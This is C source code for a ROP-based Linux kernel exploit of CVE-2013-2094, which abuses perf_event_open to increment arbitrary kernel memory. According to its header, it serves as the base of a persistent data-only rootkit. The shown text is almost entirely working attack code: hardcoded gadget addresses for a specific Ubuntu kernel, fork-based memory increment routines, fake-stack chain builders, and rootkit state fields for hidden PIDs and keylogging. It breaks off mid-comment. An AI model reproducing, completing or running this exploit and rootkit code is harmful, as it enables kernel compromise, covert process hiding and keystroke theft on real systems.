/*
* CVE-2013-2094
* ROP Exploit Version.
*
* Used for a persistent data-only rootkit.
*
* ROP CHUCK's REVENGE:
* -> Version 1.0 (December 2013)
* -> Tested on Ubuntu 13.04 Server Kernel 3.8.0-19-generic
* -> Exploit based on sorbo's (sorbo@darkircop.org) exploit.
*/
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/perf_event.h>
#include <assert.h>
#include <stdarg.h>
#include <error.h>
#define PERF_SWEVENT_ENABLED 0xffffffff81ef31c0
#define LEAVE_RET 0xffffffff816cbc4f
#define SWAPGS 0xffffffff816cb9cb
#define INTERRUPT_HANDLER 0xffffffff816cb780
#define INTERRUPT 0xd
#define INTERRUPT_STRING "0xd"
#define u64 unsigned long long
#define u32 unsigned long
// Struct for an IDT entry
struct idt {
uint16_t limit;
uint64_t addr;
} __attribute__((packed));
// Structs for patch entries
// This represents the area of the state
// that is available to the rootkit
#define GLOBAL_STATE_SIZE 1023*4096 // This is MAX for kmalloc!
#define PROCESS_STATE_SIZE 1*4096
// Global State of the rootkit
enum global_patch_type
{
// The first parts of the state allows to save register values.
// These values will be filled in by the copy chain. Essentially
// the copy chain will store all register values such that they
// can be restored later on. In addition, the rootkit can inspect
// the original function arguments at any time.
//
// Notice that the register values within the global state are
// moved to the process state, before execution continues. The
// values within the global state are therefore only valid
// temporarily.
//
// The registers are ordered in the sequence that they are stored
// by the copy chain. DO NOT MOVE OR REORDER THE REGISTERS!
//
// Start the enum with one to distinguish global and process state.
// Notice that this one is automatically substracted if it is a
// global value.
GLOBAL_RDX=1, // Place to save RDX
GLOBAL_RCX=GLOBAL_RDX+8, // Place to save RCX
GLOBAL_RBX=GLOBAL_RCX+8, // Place to save RBX
GLOBAL_RSI=GLOBAL_RBX+8, // Place to save RSI
GLOBAL_RDI=GLOBAL_RSI+8, // Place to save RDI
GLOBAL_RAX=GLOBAL_RDI+8, // Place to save RAX
GLOBAL_RBP=GLOBAL_RAX+8, // Place to save RBP
// Next follows state information used by the payload.
GLOBAL_TMP=GLOBAL_RBP+8, // Allows a function to temporarily store a value
PID_PARSE=GLOBAL_TMP+8, // The location where parsed PIDs are written to
PID_INDEX=PID_PARSE+8, // Current Index into the PID array
PID_ARRAY=PID_INDEX+8, // The array containing the hidden PIDs
// The following array references each process state.
CUR_STATE=PID_ARRAY+4096, // A variable that can store a single state
// pointer for the current process. Used by
// the dispatcher.
PROC_INDEX=CUR_STATE+8, // The next free index within the process state
// array
PROC_STATE=PROC_INDEX+8, // The array containing all processes and their
// state.
};
// Used for verifying whether a valid global enum was given
const u32 global_patch_type_array[] = {
GLOBAL_RDX, GLOBAL_RCX, GLOBAL_RBX,
GLOBAL_RSI, GLOBAL_RDI, GLOBAL_RAX,
GLOBAL_RBP, GLOBAL_TMP, PID_PARSE,
PID_INDEX, PID_ARRAY, CUR_STATE,
PROC_INDEX, PROC_STATE
};
// Local state for each process.
enum process_patch_type
{
// The first parts of the state allows to save register values.
// These values will be filled in by the dispatcher chain..
//
// The registers are ordered in the sequence that they are stored
// by the copy chain. DO NOT MOVE OR REORDER THE REGISTERS!
RDX=0, // Place to save RDX
RCX=RDX+8, // Place to save RCX
RBX=RCX+8, // Place to save RBX
RSI=RBX+8, // Place to save RSI
RDI=RSI+8, // Place to save RDI
RAX=RDI+8, // Place to save RAX
RBP=RAX+8, // Place to save RBP
// Next follows state information used by the payload.
TMP=RBP+8, // Allows a function to temporarily store a value
COUNTER=TMP+8, // Place to store a counter
TMP_RAX=COUNTER+8, // TMP value for RAX
TMP_RDI=TMP_RAX+8, // TMP value for RDI
TMP_RSI=TMP_RDI+8, // TMP value for RSI
TMP_RDX=TMP_RSI+8, // TMP value for RDX
DEBUG=TMP_RDX+8, // Debugging enabled?
KEYLOG=DEBUG+8, // Keylogging enabled?
PAYLOAD=KEYLOG+8, // Pointer to the current payload area
COMMAND=PAYLOAD+8, // Did we encounter a newline?
BUFFER_INDEX=COMMAND+8, // Offset into buffer
BUFFER=BUFFER_INDEX+8, // The buffer that contains the current command
};
// Used for verifying whether a valid process enum was given.
const u32 process_patch_type_array[] = {
RDX, RCX, RBX, RSI, RDI, RAX,
RBP, TMP, COUNTER,
TMP_RAX, TMP_RDI, TMP_RSI,
TMP_RDX, DEBUG, KEYLOG, PAYLOAD,
COMMAND, BUFFER_INDEX, BUFFER
};
// Enum to specify wether an entry is global or process specific
enum patch_scope
{
UNDEFINED=0,
PROCESS,
GLOBAL,
ALL
};
// To provide easy access to the state, we make use of patch entries.
// Patch entries point to an entry within the state and are automatically
// resolved by the init chain, once the state area has been created.
struct patch_entry
{
void *fake_stack_position; // The address of the patch
// within its fake stack
u64 fake_stack_offset; // The offset of the patch
// within its fake stack
u32 type; // The state field that the
// patch entry points to.
int type_offset; // An additional offset that
// is added to the state field
// for the patch entry. This
// can, for instance, be used
// to directly access a field
// within an array in the state,
enum patch_scope scope; // Is this a global patch entry
// or a process specific patch
};
// Array for all patch entries. The size of the array is
// currently fixed for the sake of simplicity.
struct patch_entry patch_entries[1024];
u32 patch_entry_index = 0;
// Enum to specify a regitser
enum registers {
REG_RAX,
REG_RBX,
REG_RCX,
REG_RDX,
REG_RSI,
REG_RDI
};
// Subprocesses for arbitrary increments
pid_t children[1024];
u32 child_index = 0;
u32 *children_done = 0;
u32 *parent_done = 0;
// Pointers for all stacks that we use
// Size and offset of the init stack
#define INIT_STACK_SIZE 16*4096
#define INIT_STACK_OFFSET 4*4096
u32 init_stack_size = 0;
void *init_stack = 0;
// The copy stack
#define COPY_STACK_SIZE 1000*4096
u32 copy_stack_size = 0;
void *copy_stack = 0;
void *dispatcher_stack_patch = 0;
void *copy_stack_kernel = 0;
// The payload stack
#define PAYLOAD_STACK_SIZE 42*4096
u32 payload_stack_size = 0;
void *payload_stack = 0;
// The dispatcher stack
#define DISPACTHER_STACK_SIZE 100*4096
u32 dispatcher_stack_size = 0;
void *dispatcher_stack = 0;
// Just for fancy error handling.
// Not really important for the rootkit.
void error_print_program_name(void)
{
return;
}
void (*error_print_progname)(void) = &error_print_program_name;
/**
* Change the endianess of the given value.
*
* @param x The value to convert from big endian to little endian or vice versa.
* @return The converted value.
*/
inline u64 swap(u64 x)
{
u64 result = 0;
result = (x>>56) |
((x<<40) & 0x00FF000000000000) |
((x<<24) & 0x0000FF0000000000) |
((x<<8) & 0x000000FF00000000) |
((x>>8) & 0x00000000FF000000) |
((x>>24) & 0x0000000000FF0000) |
((x>>40) & 0x000000000000FF00) |
(x<<56);
return result;
}
/**
* Invoke perf_event_open with the given offset.
*
* This function can be used to increment an arbitrary memory address within
* the kernel. To trigger the bug a negative offset must be provided.
*
* @param offset The negative offset of the memory address to be incremented
* from the perf_swevent_enabled array.
* @return The return value of the perf_event_open system call.
*/
static int perf_open(u64 offset)
{
struct perf_event_attr attr;
memset(&attr, 0, sizeof(attr));
attr.type = PERF_TYPE_SOFTWARE;
attr.size = sizeof(attr);
attr.config = offset;
attr.mmap = 1;
attr.comm = 1;
attr.exclude_kernel = 1;
return syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
}
/**
* Increment a given offset the given number of times.
*
* When a negative offset is provided to perf_open it will increment the
* address at the given offset. Each increment requires an own file descriptor,
* since closing a file descriptor will decrement the offset value. To set a
* memory value to a specific address, we use increments (repeated calls to
* perf_open) with the same offset. However, we may want to increment a offset
* by more than the maximal number of file descriptors that a process can have.
* To work around this restriction we fork other processes that will use their
* file descriptors for the increment.
*
* @param nr The value that the offset should be incremented by.
* @param steps The number of increments that will be done per process.
* This number must be below the max fd number for a process.
* @param offset The offset to invoke perf_open with.
*/
static void increment(int nr, int steps, u64 offset)
{
int i = 0;
int tmp = 0;
// Create shared memory for the children and the parent
printf(" [+] Creating shared variables...\n");
children_done = mmap(NULL, sizeof(*children_done), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
parent_done = mmap(NULL, sizeof(*parent_done), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if(!children_done || !parent_done)
{
error(-1, 0, " [!] Could not allocate shared variables!\n");
}
printf(" [+] Incrementing 0x%llx by %d (step size: %d)...", offset, nr, steps);
// Fork till we have the desired number of increments.
while (i < nr)
{
if((children[child_index] = fork()) == 0)
{
// Child
for(tmp = 0; tmp < steps; tmp++)
close(tmp);
for(tmp = i; tmp < i + steps && tmp < nr; tmp++)
perf_open(offset);
// Signal the parent that we are ready
(*children_done) += 1;
// Let the parent do its thing
// and wait till it finishes
while (1)
{
sleep(1);
// Parent done yet?
if ((*parent_done) == 1)
break;
}
exit(0);
}
else
{
// Parent
i += steps;
child_index += 1;
}
}
}
/**
* Add a patch entry.
*
* Since our rootkit makes use of memory addresses that are not known
* beforehand (because we dynamically allocated memory using kmalloc),
* we need a way of specifing that a certain address must be replaced
* during run-time. This is what patch entries are for. The patching
* routine will replace each patch entry with the correct address
* during run-time.
*
* @param fake_stack A pointer to the fake stack that a patch entry is on.
* @param fake_stack_size The size of the fake stack.
* @param type The type of the patch symbol.
* @param type_offset The offset with the type of the symbol. If the type is
* an array for instance, this value allows to specify the
* the index.
*
*/
static void add_patch_entry(void **fake_stack, u32 *fake_stack_size, u32 type,
int type_offset)
{
u32 i = 0;
enum patch_scope scope = UNDEFINED;
u32 modified_type = 0;
// Check size
if (patch_entry_index >= 1024)
{
error(-1, 0, " [!] Too many patch entries !\n");
}
// Check type
for (i = 0; i < sizeof(process_patch_type_array) / sizeof(u32); ++i)
{
if (process_patch_type_array[i] == type)
{
scope = PROCESS;
modified_type = type;
}
}
if (scope == UNDEFINED)
{
for (i = 0; i < sizeof(global_patch_type_array) / sizeof(u32); ++i)
{
if (global_patch_type_array[i] == type)
{
scope = GLOBAL;
// Global patch types use a +1 offset to distinguish them from
// process patch types. To account for this offset we have to
// substract 1,
modified_type = type - 1;
}
}
}
// Valid type?
if (scope == UNDEFINED)
{
error(-1, 0, " [!] The value '%lu' does not correspond to a valid patch type!\n",
type);
}
patch_entries[patch_entry_index].fake_stack_position = (*fake_stack);
patch_entries[patch_entry_index].fake_stack_offset = (*fake_stack_size);
patch_entries[patch_entry_index].type = modified_type;
patch_entries[patch_entry_index].type_offset = type_offset;
patch_entries[patch_entry_index].scope = scope;
patch_entry_index++;
}
/**
* Update an existing patch entry.
*
* The function will search the existing patch entries for an entry that
* matches the given position. If such an entry exists, the
* 'fake_stack_offset' field of the entry is updated to given offset.
*
* @param position The position of the patch entry. This is the key that
* we search for.
* @param new_position The new postion of the patch entry.
* @param new_fake_stack_offset The new offset value that will be set
* within the patch entry if it is found.
*/
static void update_patch_entry(void *position, void *new_position, u32 new_fake_stack_offset)
{
u32 i = 0;
for (i = 0; i < patch_entry_index; ++i)
{
if (patch_entries[i].fake_stack_position == position)
{
patch_entries[i].fake_stack_position = new_position;
patch_entries[i].fake_stack_offset = new_fake_stack_offset;
return;
}
}
}
/**
* Add an address/value to our fake stack
*
* This function will add the given value to the given stack and
* increase the stack size accordingly.
*
* @param value The value to add to the stack.
* @param fake_stack The fake stack the value should be added to.
* @param fake_stack_size A pointer to the size of the fake stack.
* It will be increased by 8 bytes.
*
* @returns The fake stack pointer increased by 8 bytes.
*/
static void * add_to_fake_stack(u64 value, void **fake_stack, u32 *fake_stack_size)
{
u64 *stackp = (u64 *) (*fake_stack);
// Simple bound checking to avoid bugs.
if (((*fake_stack) == init_stack &&
init_stack_size >= INIT_STACK_SIZE) ||
((*fake_stack) == copy_stack &&
copy_stack_size >= COPY_STACK_SIZE) ||
((*fake_stack) == payload_stack &&
payload_stack_size >= PAYLOAD_STACK_SIZE) ||
((*fake_stack) == dispatcher_stack &&
dispatcher_stack_size >= DISPACTHER_STACK_SIZE))
{
error(-1, 0, " [!] Fake stack out of bounds! (init: %lu, copy: %lu, "
"payload: %lu, disptacher: %lu)\n", init_stack_size,
copy_stack_size, payload_stack_size, dispatcher_stack_size);
}
(*stackp) = value;
(*fake_stack) += sizeof(u64);
(*fake_stack_size) += sizeof(u64);
return (void *)stackp;
}
/**
* Generate a sequence that pops a value into the given register.
*
* This function will generate a gadget that pops the next value
* on the stack into the given register.
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
* @param reg The register that the value should be popped into.
*/
static void generate_pop(void **fake_stack, u32 *fake_stack_size,
enum registers reg)
{
// Register
switch (reg)
{
case REG_RAX:
// POP RAX; RET
add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);
break;
case REG_RBX:
// POP RBX; RET
add_to_fake_stack(0xffffffff812ca859, fake_stack, fake_stack_size);
break;
case REG_RCX:
// POP RCX; RET
add_to_fake_stack(0xffffffff81005190, fake_stack, fake_stack_size);
break;
case REG_RDX:
// POP RDX; RET
add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);
break;
case REG_RSI:
// POP RSI; RET
add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size);
break;
case REG_RDI:
// POP RDI; RET
add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size);
break;
default:
error(-1, 0, " [!] Cannot generate pop gadget!\n"
" [!] Unsupported register (%d)\n", reg);
}
}
/**
* Generate a safe push seqeunce that does not overwrite existing
* gadgets.
*
* This function will generate a gadget sequence that can be
* followed by a PUSH gadget without overwriting a valid part
* of the chain.
*
* IMPORTANT: This function will NOT remove the pushed value. It
* is up to the gadget that is conducting the PUSH to remove the
* pushed value.
*
* This function uses RDI.
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
* @param push_gadget The gadget containing the push that should be
* executed.
*/
static void generate_safe_push(void **fake_stack, u32 *fake_stack_size,
u64 push_gadget)
{
// The gadget that we use, contains a JMP RDI. Thus setup RDI first.
generate_pop(fake_stack, fake_stack_size, REG_RDI);
add_to_fake_stack(push_gadget, fake_stack, fake_stack_size);
// Increment stack pointer
add_to_fake_stack(0xffffffff816d3626, fake_stack, fake_stack_size); // ADD RSP, 0x18; JMP RDI;
// Padding
add_to_fake_stack(0xdeadbeefbeefdead, fake_stack, fake_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefbeefdead, fake_stack, fake_stack_size); // This value will not be used
add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size); // This value will be overwritten
// by the push
}
/**
* Generate a move to RAX gadget sequence.
*
* This sequence will move the value in the given register into RAX. In case
* the register is RBX, the function will clobber RDI.
*
* This function is stack safe. That is, the function will not overwrite any
* previously executed gadgets (gadgets that reside before the current SP).
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
* @param reg The register whose value should be moved to RAX.
*/
static void generate_move_to_rax(void **fake_stack, u32 *fake_stack_size,
enum registers reg)
{
// Register
switch (reg)
{
case REG_RAX:
// Nothing to do in this case...
break;
case REG_RBX:
// RBX is a little more involved as there is no MOV RAX; RBX; RET
// gadget. We solve this by moving RBX to RDI first. The gadget
// use a call RAX. Thus setup RAX first.
generate_pop(fake_stack, fake_stack_size, REG_RAX);
// The call will simply pop a value from the stack.
generate_pop(fake_stack, fake_stack_size, REG_RAX);
// MOV RDI, RBX; CALL RAX;
generate_safe_push(fake_stack, fake_stack_size, 0xffffffff81024436);
// MOV RAX, RDI; RET
add_to_fake_stack(0xffffffff81005614, fake_stack, fake_stack_size);
break;
case REG_RCX:
// MOV RAX, RCX; RET
add_to_fake_stack(0xffffffff811640b4, fake_stack, fake_stack_size);
break;
case REG_RDX:
// MOV RAX, RDX; RET
add_to_fake_stack(0xffffffff8105fae5, fake_stack, fake_stack_size);
break;
case REG_RSI:
// MOV RAX, RSI; RET
add_to_fake_stack(0xffffffff8113ab81, fake_stack, fake_stack_size);
break;
case REG_RDI:
// MOV RAX, RDI; RET
add_to_fake_stack(0xffffffff81005614, fake_stack, fake_stack_size);
break;
default:
error(-1, 0, " [!] Cannot generate move to RAX gadget!\n"
" [!] Unsupported register (%d)\n", reg);
}
}
// Internal helper to provide stack safe and unsafe moves.
static void _generate_move_from_rax_helper(void **fake_stack, u32 *fake_stack_size,
enum registers reg, char stack_safe)
{
// If the target register is RAX we are done.
if (reg == REG_RAX)
return;
// The basic idea of this gadget is to write the value
// within RAX onto the stack, such that we can then simply
// pop the value into the desired register.
// Lets go.
// Should we keep the stack safe?
if (stack_safe)
{
// First we make some room on the stack to ensure that we do not overwrite
// parts of the chain.
// The gadget that we use, contains a JMP RDI. Thus setup RDI first.
generate_pop(fake_stack, fake_stack_size, REG_RDI);
}
// Write the value in RAX to our stack.
// We will place an ADD RSP, 0x10 gadget into RDX later on!
add_to_fake_stack(0xffffffff812c45f2, fake_stack, fake_stack_size); // MOV [RSP+0x10], RAX;
// MOV RDX, [RSP+0x30];
// CALL RDX;
// Should we keep the stack safe?
if (stack_safe)
{
// Increment stack pointer
add_to_fake_stack(0xffffffff816d3626, fake_stack, fake_stack_size); // ADD RSP, 0x18; JMP RDI;
// Padding
add_to_fake_stack(0xdeadbeefbeefdead, fake_stack, fake_stack_size); // This value will not be used
add_to_fake_stack(0xdeadbeefbeefdead, fake_stack, fake_stack_size); // This value will not be used
add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size); // This value will be overwritten
// by the CALL RDX
}
// Padding
add_to_fake_stack(0xdeadbeefdeadbeef, fake_stack, fake_stack_size); // This is just padding
// Alright, here goes the register we want the value to be in.
generate_pop(fake_stack, fake_stack_size, reg);
// This value will be overwritten by the inital move and will thus
// be popped into the specified register
add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size); // Will be overwritten
// Now we fix the stack by incremting the stack pointer
add_to_fake_stack(0xffffffff81352d33, fake_stack, fake_stack_size); // ADD RSP, 0x10; RET;
// Padding
add_to_fake_stack(0xdeadbeefdeadbeef, fake_stack, fake_stack_size); // This is just padding
add_to_fake_stack(0xdeadbeefdeadbeef, fake_stack, fake_stack_size); // This is just padding
// This value also ends up in RDX. It just increases the stack by
// 0x10 bytes
add_to_fake_stack(0xffffffff81352d33, fake_stack, fake_stack_size); // ADD RSP, 0x10; RET;
// Padding
add_to_fake_stack(0xdeadbeefdeadbeef, fake_stack, fake_stack_size); // This is just padding
add_to_fake_stack(0xdeadbeefdeadbeef, fake_stack, fake_stack_size); // This is just padding
}
/**
* Add a move from RAX gadget sequence.
*
* This sequence will move the value in RAX to one of the supported
* registers (RBX, RCX, RDX, RSI, RDI).
* The sequence uses RDI, RDX and RAX. However, it is possible to load
* the value of RAX into RDX or RDI using the sequence.
*
* This function is stack save. That is, the function will not overwrite any
* previously executed gadgets (gadgets that reside before the current SP).
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
* @param reg The destination register. This register will we set to the
* current value of RAX.
*/
static void generate_move_from_rax(void **fake_stack, u32 *fake_stack_size,
enum registers reg)
{
// Keep the stack safe
_generate_move_from_rax_helper(fake_stack, fake_stack_size, reg, 1);
}
/**
* Add a move from RAX gadget sequence.
*
* This sequence will move the value in RAX to one of the supported
* registers (RBX, RCX, RDX, RSI, RDI).
* The sequence uses RDX and RAX. However, it is possible to load
* the value of RAX into RDX using the sequence.
*
* IMPORTANT: This function is NOT stack safe! That is, the funtion
* may overwrite old gadgets on the stack! However it
* only uses RAX and RDX.
*
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
* @param reg The destination register. This register will we set to the
* current value of RAX.
*/
static void generate_move_from_rax_unsafe(void **fake_stack, u32 *fake_stack_size,
enum registers reg)
{
// Keep the stack safe
_generate_move_from_rax_helper(fake_stack, fake_stack_size, reg, 0);
}
/**
* Add the given value to the given register.
*
* This sequence will add a value to a given register. It uses the
* registers RAX, RDX and RDI to do so.
*
* This function is stack save. That is, the function will not overwrite any
* previously executed gadgets (gadgets that reside before the current SP).
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
* @param value The value that should be added.
* @param reg The register that the value should be added to.
*/
static void generate_add_value(void **fake_stack, u32 *fake_stack_size,
u64 value, enum registers reg)
{
// We conduct the add by:
// 1. Moving the value within the register we want to add to
// into RAX.
// 2. Adding the value to RAX
// 3. Moving the result back to the target register.
// Move to RAX.
generate_move_to_rax(fake_stack, fake_stack_size, reg);
// POP the value into RDX
generate_pop(fake_stack, fake_stack_size, REG_RDX);
// The value
add_to_fake_stack(value, fake_stack, fake_stack_size);
// Add to RAX using RDX
add_to_fake_stack(0xffffffff8101baf1, fake_stack, fake_stack_size); // ADD RAX, RDX; RET
// Move the result back.
generate_move_from_rax(fake_stack, fake_stack_size, reg);
}
/**
* Add the given value to the given register.
*
* This sequence will add a value to a given register. It uses the
* registers RAX, RDX and in the case that RBX is the destination
* register also RDI to do so.
*
* IMPORTANT: This sequence will overwrite previously executed
* gadgets on the stack. That is, this function is
* NOT stack safe!
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
* @param value The value that should be added.
* @param reg The register that the value should be added to.
*/
static void generate_add_value_unsafe(void **fake_stack, u32 *fake_stack_size,
u64 value, enum registers reg)
{
// We conduct the add by:
// 1. Moving the value within the register we want to add to
// into RAX.
// 2. Adding the value to RAX
// 3. Moving the result back to the target register.
// Move to RAX.
generate_move_to_rax(fake_stack, fake_stack_size, reg);
// POP the value into RDX
generate_pop(fake_stack, fake_stack_size, REG_RDX);
// The value
add_to_fake_stack(value, fake_stack, fake_stack_size);
// Add to RAX using RDX
add_to_fake_stack(0xffffffff8101baf1, fake_stack, fake_stack_size); // ADD RAX, RDX; RET
// Move the result back.
generate_move_from_rax_unsafe(fake_stack, fake_stack_size, reg);
}
/**
* Substract the given value from the given register.
*
* This sequence will substract a value from a given register. It uses
* the registers RAX, RDX, and RDI to do so.
*
* This function is stack save. That is, the function will not overwrite any
* previously executed gadgets (gadgets that reside before the current SP).
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
* @param value The value that should be substracted.
* @param reg The register that the value should be substracted from.
*/
static void generate_substract_value(void **fake_stack, u32 *fake_stack_size,
u64 value, enum registers reg)
{
// We conduct the add by:
// 1. Moving the value within the register we want to add to
// into RAX.
// 2. Substracting the value from RAX
// 3. Moving the result back to the target register.
// Move to RAX.
generate_move_to_rax(fake_stack, fake_stack_size, reg);
// POP the value into RDX
generate_pop(fake_stack, fake_stack_size, REG_RDX);
// The value
add_to_fake_stack(value, fake_stack, fake_stack_size);
// Substract RDX from RAX
add_to_fake_stack(0xffffffff81079357, fake_stack, fake_stack_size); // SUB RAX, RDX; RET
// Move the result back.
generate_move_from_rax(fake_stack, fake_stack_size, reg);
}
/**
* Add a stack increment gadget sequence.
*
* This function will generate a gadget sequence that
* will increase the SP by the given amount.
* The sequence uses RDX, RDI, RBP, and RAX.
*
* This function is stack save. That is, the function will not overwrite any
* previously executed gadgets (gadgets that reside before the current SP).
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
* @param amount The amount the stack pointer should be increased.
*/
static void generate_stack_increment(void **fake_stack, u32 *fake_stack_size,
u64 amount)
{
// We need variables to patch the size used within the gadget.
u32 current_size = 0;
void *location = 0;
u32 location_size = 0;
// At this point we need to get the current stack pointer. We use
// a PUSH RSP gadget for this purpose, but want to avoid overwrites
// due to the push.
generate_safe_push(fake_stack, fake_stack_size, 0xffffffff812ce0c8); // PUSH RSP; POP RDX; RET;
// The SP points here! Safe this location to calculate the correct
// offset at the end.
current_size = (*fake_stack_size);
// Move RAX to RDX
generate_move_to_rax(fake_stack, fake_stack_size, REG_RDX);
// Add the size of this sequence to the amount that the SP should
// be increased by. Since the size of the sequence is unknown at
// this point, we will overwrite this gadget at the end of the
// function with the correct size!
// For the latter we first save the address and the size
location = (*fake_stack);
generate_add_value(fake_stack, fake_stack_size, amount + 0, REG_RAX);
// Move new SP to RBP
generate_safe_push(fake_stack, fake_stack_size, 0xffffffff8116747c); // PUSH RAX; POP RBP; RET;
// LEAVE RET
add_to_fake_stack(LEAVE_RET, fake_stack, fake_stack_size); // LEAVE; RET;
// Overwrite the add sequence. Account for POP RBP! => - 0x8
generate_add_value(&location, &location_size,
amount + (*fake_stack_size) - current_size - 0x8,
REG_RAX);
}
/**
* Add a stack decrement gadget sequence.
*
* This function will generate a gadget sequence that
* will decrease the SP by the given amount.
* The sequence uses RDX, RDI, RBP, and RAX.
*
* This function is stack save. That is, the function will not overwrite any
* previously executed gadgets (gadgets that reside before the current SP).
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
* @param amount The amount the stack pointer should be decreased.
*/
static void generate_stack_decrement(void **fake_stack, u32 *fake_stack_size,
u64 amount)
{
// We need variables to patch the size used within the gadget.
u32 current_size = (*fake_stack_size);
u32 location_size = 0;
// At this point we need to get the current stack pointer. We use
// a PUSH RSP gadget for this purpose, but want to avoid overwrites
// due to the push.
generate_safe_push(fake_stack, fake_stack_size, 0xffffffff812ce0c8); // PUSH RSP; POP RDX; RET;
// Get the size of the last gadget, which we need to get the correct
// size for the stack fix
location_size = (*fake_stack_size) - current_size;
// Move RAX to RDX
generate_move_to_rax(fake_stack, fake_stack_size, REG_RDX);
// Add the size of the first gadget to the amount that the SP should
// be decreased by. Notice that the size of the gadget sequence
// is unimportant in this case as the stack should be decreased
// at the point this sequence is executed. This means we only have
// to account for the first gadget sequence, which obtains the SP
// and is location_size bytes long.
// Thus we actually should substract amount + location_size. However,
// we use LEAVE; RET for the stack switch. Since LEAVE pops a value
// from the stack, we have to substract amount + location_size + 8!
generate_substract_value(fake_stack, fake_stack_size,
amount + location_size + 8, REG_RAX);
// Move new SP to RBP
generate_safe_push(fake_stack, fake_stack_size, 0xffffffff8116747c); // PUSH RAX; POP RBP; RET;
// LEAVE RET
add_to_fake_stack(LEAVE_RET, fake_stack, fake_stack_size); // LEAVE; RET;
}
/**
* Set a VALUE in the state area from the given register.
*
* This sequence will move the VALUE within the given register
* (RAX, RBX, RCX, RDX, RSI, RDI) into the given state field.
* The sequence uses RSI, RDI and RAX. However, it is possible
* to store the value in one of those registers.
*
* This function is stack save. That is, the function will not overwrite any
* previously executed gadgets (gadgets that reside before the current SP).
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
* @param type The entry within the state that should be written to.
* @param reg The register that contains the value to be written.
*/
static void generate_set_state_value(void **fake_stack, u32 *fake_stack_size,
u32 type, enum registers reg)
{
// Move the VALUE within the given register to RAX
generate_move_to_rax(fake_stack, fake_stack_size, reg);
// Move the state value into RSI
generate_pop(fake_stack, fake_stack_size, REG_RSI); // POP RSI, RET;
add_patch_entry(fake_stack, fake_stack_size, type, 0); // Create a patch entry
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // for the given type,
// must be overwritten by init
// MOVE RAX to RSI
add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET
}
// Internal helper to provide stack safe and unsafe versions of the
// get state value sequence.
static void _generate_get_state_value_helper(void **fake_stack, u32 *fake_stack_size,
u32 type, enum registers reg, char stack_safe)
{
// Load the VALUE into RAX
generate_pop(fake_stack, fake_stack_size, REG_RAX); // POP RAX, RET;
add_patch_entry(fake_stack, fake_stack_size, type, 0); // Create a patch entry
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // for the given type,
// must be overwritten by init
// RAX points to the state field, but we want the VALUE
add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size); // MOV RAX, [RAX]; RET;
// If the value is supposed to be in RAX, we are done.
if (reg == REG_RAX)
return;
// Otherwise we need to move it from RAX to the given register
// Use our move sequence for this.
if (stack_safe)
generate_move_from_rax(fake_stack, fake_stack_size, reg);
else
generate_move_from_rax_unsafe(fake_stack, fake_stack_size, reg);
}
/**
* Load a VALUE from the state area into the given register.
*
* This sequence will move the VALUE within the given state
* field into one of the supported registers (RBX, RCX, RDX,
* RSI, RDI).
* The sequence uses RDI, RDX and RAX. However, it is possible to
* load the value into RAX, RDI, or RDX.
*
* IMPORTANT: This function guarantees that the stack remains valid.
* This means older gadgets on the stack will not be
* overwritten.
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
* @param type The entry within the state that should be read.
* @param reg The register that should contain the result.
*
*/
static void generate_get_state_value(void **fake_stack, u32 *fake_stack_size,
u32 type, enum registers reg)
{
_generate_get_state_value_helper(fake_stack, fake_stack_size, type, reg, 1);
}
/**
* Load a VALUE from the state area into the given register.
*
* This sequence will move the VALUE within the given state
* field into one of the supported registers (RBX, RCX, RDX,
* RSI, RDI).
* The sequence uses RDX and RAX. However, it is possible to
* load the value into RAX or RDX.
*
* IMPORTANT: This function may overwrite previously executed gadgets
* on the stack!
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
* @param type The entry within the state that should be read.
* @param reg The register that should contain the result.
*
*/
static void generate_get_state_value_unsafe(void **fake_stack, u32 *fake_stack_size,
u32 type, enum registers reg)
{
_generate_get_state_value_helper(fake_stack, fake_stack_size, type, reg, 0);
}
/**
* Add a gadget sequence for a conditional jump equal (jz).
*
* This function will add a gadget sequence for a conditional jump. The value
* to check is thereby expected to be contained in RDX, while the value to
* compare with is supposed to be in RBX.
* This sequence used RAX, RBX, RCX, RDX, RDI, and RBP.
*
* This function is stack save. That is, the function will not overwrite any
* previously executed gadgets (gadgets that reside before the current SP).
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
* @param cond_offset The number of bytes that should be skipped in case the
* RBX == RDX.
*/
